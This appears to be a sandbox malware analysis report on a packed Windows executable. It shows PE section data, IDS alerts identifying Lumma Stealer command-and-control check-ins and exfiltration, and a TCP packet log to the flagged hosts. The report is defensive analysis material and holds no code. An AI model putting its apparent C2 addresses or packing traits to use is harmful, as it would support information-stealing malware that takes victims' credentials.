IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	89e078ee4db94052693569be2d7a46c1	False	0.9995149101307189	data	7.984980514400285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
opvaxgcz	0x55000	0x2a3000	0x2a2c00	c6b3f8adec5790cb779ba5562f9d21a5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
osbiylah	0x2f8000	0x1000	0x400	cf6f4e740ad55e4df8c54a8a4b9f4f6d	False	0.779296875	data	6.1626088986588545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f9000	0x3000	0x2200	95c6c3172222eb9e4b97bab69e6e0fc4	False	0.09420955882352941	DOS executable (COM)	1.0697794430589167	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T08:35:31.710814+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49724	104.21.36.201	443	TCP
2024-12-24T08:35:32.734252+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49724	104.21.36.201	443	TCP
2024-12-24T08:35:32.734252+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49724	104.21.36.201	443	TCP
2024-12-24T08:35:33.985345+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49732	104.21.36.201	443	TCP
2024-12-24T08:35:35.077672+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49732	104.21.36.201	443	TCP
2024-12-24T08:35:35.077672+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49732	104.21.36.201	443	TCP
2024-12-24T08:35:36.872895+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49743	104.21.36.201	443	TCP
2024-12-24T08:35:39.325820+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49751	104.21.36.201	443	TCP
2024-12-24T08:35:40.295308+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49751	104.21.36.201	443	TCP
2024-12-24T08:35:41.732551+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49757	104.21.36.201	443	TCP
2024-12-24T08:35:44.413846+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49764	104.21.36.201	443	TCP
2024-12-24T08:35:46.913720+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49770	104.21.36.201	443	TCP
2024-12-24T08:35:51.849164+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49786	104.21.36.201	443	TCP
2024-12-24T08:35:52.624764+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49786	104.21.36.201	443	TCP
2024-12-24T08:35:54.186817+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49792	185.166.143.50	443	TCP
2024-12-24T08:35:56.698510+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49800	54.231.128.9	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 08:35:30.479584932 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:30.479639053 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:30.479739904 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:30.481394053 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:30.481414080 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:31.710711956 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:31.710813999 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:31.713486910 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:31.713507891 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:31.713918924 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:31.755841017 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:31.773819923 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:31.773843050 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:31.773978949 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:32.734287024 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:32.734405994 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:32.734494925 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:32.736962080 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:32.736982107 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:32.737055063 CET	49724	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:32.737061977 CET	443	49724	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:32.772985935 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:32.773036957 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:32.773116112 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:32.773442984 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:32.773458004 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:33.985224009 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:33.985344887 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:33.986771107 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:33.986785889 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:33.987123966 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:33.997011900 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:33.997050047 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:33.997131109 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.077718973 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.077795982 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.077857971 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.077881098 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.077914000 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.077966928 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.077975988 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.078043938 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.078103065 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.078116894 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.078121901 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.078166962 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.084640980 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.092974901 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.093024969 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.093058109 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.093089104 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.093156099 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.197040081 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.240205050 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.240245104 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.271836996 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.271886110 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.271971941 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.271991014 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.272053003 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.285577059 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.285638094 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.285657883 CET	49732	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.285670042 CET	443	49732	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.599798918 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.599858046 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:35.599942923 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.600573063 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:35.600589037 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:36.872814894 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:36.872895002 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:36.874404907 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:36.874418974 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:36.875251055 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:36.876511097 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:36.876624107 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:36.876657963 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:37.961271048 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:37.961543083 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:37.961605072 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:37.961816072 CET	49743	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:37.961833954 CET	443	49743	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:38.105783939 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:38.105849028 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:38.105937958 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:38.106205940 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:38.106221914 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:39.325659037 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:39.325819969 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:39.327152014 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:39.327167034 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:39.327425003 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:39.328624964 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:39.328793049 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:39.328826904 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:39.328893900 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:39.328901052 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:40.295325994 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:40.295454979 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:40.295520067 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:40.295646906 CET	49751	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:40.295661926 CET	443	49751	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:40.519555092 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:40.519608974 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:40.519699097 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:40.519989967 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:40.520003080 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:41.732474089 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:41.732551098 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:41.734410048 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:41.734421968 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:41.734710932 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:41.736041069 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:41.736176014 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:41.736205101 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:41.736270905 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:41.736279964 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:42.735872030 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:42.735982895 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:42.736036062 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:42.737778902 CET	49757	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:42.737798929 CET	443	49757	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:43.201392889 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:43.201453924 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:43.201529980 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:43.201854944 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:43.201872110 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:44.413626909 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:44.413846016 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:44.415050030 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:44.415064096 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:44.415322065 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:44.416707993 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:44.416807890 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:44.416816950 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:45.246134043 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:45.246269941 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:45.246402979 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:45.246484995 CET	49764	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:45.246499062 CET	443	49764	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:45.700426102 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:45.700474024 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:45.700625896 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:45.700997114 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:45.701009989 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.913573980 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.913719893 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.942222118 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.942244053 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.942514896 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.943967104 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.944715977 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.944749117 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.944849014 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.944880962 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.944978952 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.945003033 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.945127010 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.945144892 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.945276022 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.945303917 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.945466995 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.945483923 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.945501089 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.945529938 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.945563078 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.945657015 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.991338968 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:46.991519928 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.991555929 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:46.991583109 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:47.039386034 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:47.039596081 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:47.039638042 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:47.083374023 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:47.423868895 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:50.625760078 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:50.625869989 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:50.625924110 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:50.626106977 CET	49770	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:50.626123905 CET	443	49770	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:50.636075974 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:50.636127949 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:50.636205912 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:50.636502028 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:50.636519909 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:51.849050999 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:51.849164009 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:51.851931095 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:51.851958990 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:51.852252007 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:51.854104996 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:51.854213953 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:51.854243994 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:52.624861002 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:52.625206947 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:52.625272989 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:52.625422955 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:52.625443935 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:52.625471115 CET	49786	443	192.168.2.5	104.21.36.201
Dec 24, 2024 08:35:52.625479937 CET	443	49786	104.21.36.201	192.168.2.5
Dec 24, 2024 08:35:52.794450998 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:52.794521093 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:52.794595003 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:52.794987917 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:52.795006990 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.186738968 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.186816931 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.188396931 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.188407898 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.188651085 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.190135002 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.231337070 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.907721996 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.907742023 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.907815933 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.907824993 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.907882929 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.907882929 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.907996893 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.908031940 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:54.908051968 CET	49792	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:35:54.908062935 CET	443	49792	185.166.143.50	192.168.2.5
Dec 24, 2024 08:35:55.284821987 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:55.284877062 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:55.284985065 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:55.285351992 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:55.285366058 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:56.698367119 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:56.698509932 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:56.700119019 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:56.700131893 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:56.700418949 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:56.701634884 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:56.747340918 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.167938948 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.209043026 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.218379974 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.218394041 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.218432903 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.218483925 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.218498945 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.218533039 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.218548059 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.218548059 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.218581915 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.401551008 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.401586056 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.401628971 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.401716948 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.401757956 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.401770115 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.443320036 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.456233978 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.456262112 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.456302881 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.456362009 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.456394911 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.456409931 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.464181900 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.464245081 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.464253902 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.505867004 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.577321053 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.577349901 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.577405930 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.577478886 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.577503920 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.577517033 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.617245913 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.617279053 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.617337942 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.617367029 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.617383957 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.654066086 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.654094934 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.654134989 CET	49800	443	192.168.2.5	54.231.128.9
Dec 24, 2024 08:35:57.654175043 CET	443	49800	54.231.128.9	192.168.2.5
Dec 24, 2024 08:35:57.654186964 CET	49800	443	192.168.2.5	54.231.128.9
